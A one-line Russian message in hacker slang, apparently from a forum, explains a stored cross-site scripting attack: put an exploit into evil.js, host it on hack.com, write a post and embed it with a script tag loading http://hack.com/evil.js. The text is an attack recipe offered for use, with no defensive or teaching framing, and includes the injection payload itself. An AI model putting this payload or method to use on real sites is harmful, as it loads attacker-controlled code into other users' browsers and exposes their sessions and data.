пихаешь сплоит в evil.js и льешь к себе на hack.com пишешь пост и цепляешь яваскрипт <script src=http://hack.com/evil.js>